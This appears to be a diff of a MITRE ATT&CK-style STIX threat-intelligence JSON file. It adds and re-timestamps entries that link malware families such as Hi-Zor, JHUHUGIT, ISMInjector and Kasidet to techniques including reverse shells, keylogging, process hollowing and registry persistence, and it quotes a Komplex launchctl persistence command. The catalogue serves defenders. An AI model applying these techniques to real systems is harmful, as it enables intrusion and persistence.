+            "relationship_type": "uses",
+            "description": "Helminth has used Tasklist to get information on processes.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A Helminth VBScript receives a batch script to execute a set of commands in a command prompt.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor uses various XOR techniques to obfuscate its components.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42297,7 +50454,7 @@
             "id": "relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor encrypts C2 traffic with HTTPS and also encodes it with a single-byte XOR key.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42318,7 +50475,7 @@
             "id": "relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor creates a Registry Run key to establish persistence.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42339,7 +50496,7 @@
             "id": "relationship--66bec558-ff92-42ff-a8c1-5b47d071d606",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor deletes its RAT installer file as it executes its DLL payload file.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42360,7 +50517,7 @@
             "id": "relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor has the ability to create a reverse shell.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42381,7 +50538,7 @@
             "id": "relationship--18572125-3439-4f7c-92c8-d787913dc989",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor has the ability to upload and download files from its C2 server.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42402,7 +50559,7 @@
             "id": "relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor communicates with its C2 server over port 443.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42423,7 +50580,7 @@
             "id": "relationship--27a64a3a-62cb-4c1b-adfc-5070e2f1e744",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor communicates with its C2 server over HTTPS.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42444,7 +50601,7 @@
             "id": "relationship--ecb0d858-dd15-4181-b15b-76459db1d294",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor executes using regsvr32.exe called from the Registry Run Keys / Start Folder persistence mechanism.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
@@ -42465,7 +50622,7 @@
             "id": "relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hikit performs XOR encryption.",
             "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
@@ -42486,7 +50643,7 @@
             "id": "relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hikit supports peer connections.",
             "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
@@ -42502,12 +50659,96 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector uses the <code>certutil</code> command to decode a payload file.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector creates scheduled tasks to establish persistence.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b1df64c9-782d-4452-8c4a-5ef933503c13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Ixeshe malware uses custom Base64 encoding schemes to obfuscate data command and control traffic in the message body of HTTP requests.",
             "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
@@ -42528,7 +50769,7 @@
             "id": "relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT is executed using rundll32.exe.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42549,7 +50790,7 @@
             "id": "relationship--ae1ee1dc-6017-4177-b34c-70db166a939e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Many strings in JHUHUGIT are obfuscated with a XOR algorithm.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42575,7 +50816,7 @@
             "id": "relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT performs code injection injecting its own functions to browser processes.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42596,7 +50837,7 @@
             "id": "relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The JHUHUGIT dropper deletes itself from the victim.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42617,7 +50858,7 @@
             "id": "relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42643,7 +50884,7 @@
             "id": "relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42664,7 +50905,7 @@
             "id": "relationship--b0099b28-bcb8-4214-8166-d9caed1b6491",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has registered itself as a service to establish persistence.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42685,7 +50926,7 @@
             "id": "relationship--1aa10371-6473-416a-8b8b-17c36f700233",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has registered itself as a scheduled task to run each time the current user logs in.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42711,7 +50952,7 @@
             "id": "relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42732,7 +50973,7 @@
             "id": "relationship--70d5a73c-cc14-410a-a430-5948cd21532f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has registered a Windows shell script under the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42753,7 +50994,7 @@
             "id": "relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42774,7 +51015,7 @@
             "id": "relationship--1923a47b-5a48-44e6-883f-ca23a96fea46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT obtains a list of running processes on the victim.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42795,7 +51036,7 @@
             "id": "relationship--e11d4f32-842a-4684-8974-f368e52b8632",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT obtains a build identifier as well as victim hard drive information from Windows registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum</code>.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42816,7 +51057,7 @@
             "id": "relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT retrieves and executes an additional payload from its C2 server.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42837,7 +51078,7 @@
             "id": "relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT communicates with its C2 server over HTTP.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
@@ -42858,7 +51099,7 @@
             "id": "relationship--fb3b8f32-0991-4d05-a80d-a4736372ad2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab used a valid AppleDeveloperID to sign the code to get past security restrictions.",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
@@ -42879,7 +51120,7 @@
             "id": "relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab captured audio and sent it out to a C2 server .",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
@@ -42905,7 +51146,7 @@
             "id": "relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab captured screenshots and sent them out to a C2 server .",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
@@ -42931,7 +51172,7 @@
             "id": "relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab used a cron job for persistence on Mac devices .",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
@@ -42952,7 +51193,7 @@
             "id": "relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "KOMPROGO is capable of creating a reverse shell.",
             "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
@@ -42973,7 +51214,7 @@
             "id": "relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "KOMPROGO is capable of running WMI queries.",
             "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
@@ -42994,7 +51235,7 @@
             "id": "relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "KOMPROGO is capable of retrieving information about the infected system.",
             "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
@@ -43015,7 +51256,7 @@
             "id": "relationship--828afc32-9874-40aa-b752-315c7623ffee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet creates a Registry Run key to establish persistence. ",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43040,7 +51281,7 @@
             "id": "relationship--49af09c8-1460-485d-9f09-dacea47fa016",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to obtain a victim's system name and operating system version.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43061,7 +51302,7 @@
             "id": "relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to identify any anti-virus installed on the infected system.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43082,7 +51323,7 @@
             "id": "relationship--e45cdf20-e182-4346-8c98-a48575282ae6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to initiate keylogging.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43103,7 +51344,7 @@
             "id": "relationship--c39e878e-a496-4271-9998-2d5c9511e0a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to download and execute additional files.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43124,7 +51365,7 @@
             "id": "relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to search for a given process name in processes currently running in the system.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43145,7 +51386,7 @@
             "id": "relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to search for a given filename on a victim.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43166,7 +51407,7 @@
             "id": "relationship--305ecc72-e820-44cb-ab52-593ccca814ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet can execute commands using cmd.exe.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43187,7 +51428,7 @@
             "id": "relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to change firewall settings to allow a plug-in to be downloaded.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43208,7 +51449,7 @@
             "id": "relationship--ade60661-8dfb-473a-8d12-014ba0273934",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to initiate keylogging and screen captures.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
@@ -43229,7 +51470,7 @@
             "id": "relationship--6c879d75-7f07-44ff-9801-815a549cdc44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Komplex trojan creates a persistent launch agent called with <code>$HOME/Library/LaunchAgents/com.apple.updates.plist</code> with <code>launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist</code>.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
@@ -43250,7 +51491,7 @@
             "id": "relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
